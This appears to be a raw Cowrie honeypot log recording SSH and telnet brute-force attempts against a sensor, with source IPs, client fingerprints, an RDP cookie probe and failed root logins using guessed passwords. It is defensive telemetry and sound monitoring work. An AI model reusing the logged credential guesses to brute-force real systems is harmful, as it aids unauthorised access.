{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35598,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f65d1f52af3","protocol":"telnet","message":"New connection: 192.119.13.58:35598 (10.17.0.5:23) [session: 1f65d1f52af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:11.123819Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38410,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b8f220dc3c","protocol":"telnet","message":"New connection: 192.119.13.58:38410 (10.17.0.5:23) [session: 50b8f220dc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:11.773310Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":47054,"dst_ip":"10.17.0.5","dst_port":22,"session":"8577f733c78b","protocol":"ssh","message":"New connection: 35.225.56.202:47054 (10.17.0.5:22) [session: 8577f733c78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:12.630998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:12.637391Z","src_ip":"35.225.56.202","session":"8577f733c78b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:12.674516Z","src_ip":"35.225.56.202","session":"8577f733c78b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong","message":"login attempt [root/dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:12.851635Z","src_ip":"35.225.56.202","session":"8577f733c78b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:13.891566Z","src_ip":"35.225.56.202","session":"8577f733c78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":36126,"dst_ip":"10.17.0.5","dst_port":22,"session":"18a0ae5c8edd","protocol":"ssh","message":"New connection: 43.135.177.217:36126 (10.17.0.5:22) [session: 18a0ae5c8edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:16.255067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:16.263531Z","src_ip":"43.135.177.217","session":"18a0ae5c8edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:16.336851Z","src_ip":"43.135.177.217","session":"18a0ae5c8edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testarosa","message":"login attempt [root/testarosa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:16.641289Z","src_ip":"43.135.177.217","session":"18a0ae5c8edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:17.722652Z","src_ip":"43.135.177.217","session":"18a0ae5c8edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":39756,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc3aa3ab84a6","protocol":"ssh","message":"New connection: 59.126.224.134:39756 (10.17.0.5:22) [session: cc3aa3ab84a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:22.527644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:22.533562Z","src_ip":"59.126.224.134","session":"cc3aa3ab84a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:22.773250Z","src_ip":"59.126.224.134","session":"cc3aa3ab84a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52696,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b23975573eb","protocol":"telnet","message":"New connection: 192.119.13.58:52696 (10.17.0.5:23) [session: 8b23975573eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:23.033458Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ucing","message":"login attempt [root/ucing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:23.802433Z","src_ip":"59.126.224.134","session":"cc3aa3ab84a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:24.581432Z","src_ip":"103.210.22.17","session":"296df61dbb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:25.054154Z","src_ip":"59.126.224.134","session":"cc3aa3ab84a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57146,"dst_ip":"10.17.0.5","dst_port":22,"session":"6646229f40a0","protocol":"ssh","message":"New connection: 167.172.81.52:57146 (10.17.0.5:22) [session: 6646229f40a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:25.529669Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:25.534905Z","src_ip":"167.172.81.52","session":"6646229f40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:25.546252Z","src_ip":"167.172.81.52","session":"6646229f40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.73821997642517,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:28.932336Z","src_ip":"192.119.13.58","session":"e29318030619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":36462,"dst_ip":"159.203.135.109","dst_port":22,"session":"09bfb08711a0","protocol":"ssh","message":"New connection: 37.143.61.84:36462 (159.203.135.109:22) [session: 09bfb08711a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:31.418512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:31.423677Z","src_ip":"37.143.61.84","session":"09bfb08711a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:31.506190Z","src_ip":"37.143.61.84","session":"09bfb08711a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felicidad","message":"login attempt [root/felicidad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:31.870678Z","src_ip":"37.143.61.84","session":"09bfb08711a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"150b7ebf84dd","protocol":"telnet","message":"New connection: 192.119.13.58:41712 (10.17.0.5:23) [session: 150b7ebf84dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:32.555387Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:32.955513Z","src_ip":"37.143.61.84","session":"09bfb08711a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":55890,"dst_ip":"10.17.0.5","dst_port":22,"session":"68c284063e4a","protocol":"ssh","message":"New connection: 193.233.48.169:55890 (10.17.0.5:22) [session: 68c284063e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:34.901535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:34.906899Z","src_ip":"193.233.48.169","session":"68c284063e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":60246,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f42175e157","protocol":"ssh","message":"New connection: 43.134.177.27:60246 (10.17.0.5:22) [session: 17f42175e157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:34.986825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:34.992507Z","src_ip":"43.134.177.27","session":"17f42175e157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:35.030283Z","src_ip":"193.233.48.169","session":"68c284063e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:35.238445Z","src_ip":"43.134.177.27","session":"17f42175e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strongpass","message":"login attempt [root/strongpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:35.552584Z","src_ip":"193.233.48.169","session":"68c284063e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.17955493927002,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:36.240567Z","src_ip":"192.119.13.58","session":"a0a336504b15","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dnflskfk","message":"login attempt [root/dnflskfk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:36.253678Z","src_ip":"43.134.177.27","session":"17f42175e157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:36.678675Z","src_ip":"193.233.48.169","session":"68c284063e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.569653034210205,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:36.774173Z","src_ip":"192.119.13.58","session":"339a10246e28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":46702,"dst_ip":"159.203.135.109","dst_port":22,"session":"804a0cb63feb","protocol":"ssh","message":"New connection: 89.108.118.91:46702 (159.203.135.109:22) [session: 804a0cb63feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:37.228863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:37.234246Z","src_ip":"89.108.118.91","session":"804a0cb63feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34452,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a6e2976e1db","protocol":"telnet","message":"New connection: 192.119.13.58:34452 (10.17.0.5:23) [session: 9a6e2976e1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:37.273203Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:37.383505Z","src_ip":"89.108.118.91","session":"804a0cb63feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:37.502809Z","src_ip":"43.134.177.27","session":"17f42175e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"322223","message":"login attempt [root/322223] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:37.854799Z","src_ip":"89.108.118.91","session":"804a0cb63feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38042,"dst_ip":"10.17.0.5","dst_port":23,"session":"86883ddbe848","protocol":"telnet","message":"New connection: 192.119.13.58:38042 (10.17.0.5:23) [session: 86883ddbe848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:38.161695Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:39.007574Z","src_ip":"89.108.118.91","session":"804a0cb63feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65448,"dst_ip":"10.17.0.5","dst_port":22,"session":"14899a430887","protocol":"ssh","message":"New connection: 152.42.212.128:65448 (10.17.0.5:22) [session: 14899a430887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:39.224355Z"}
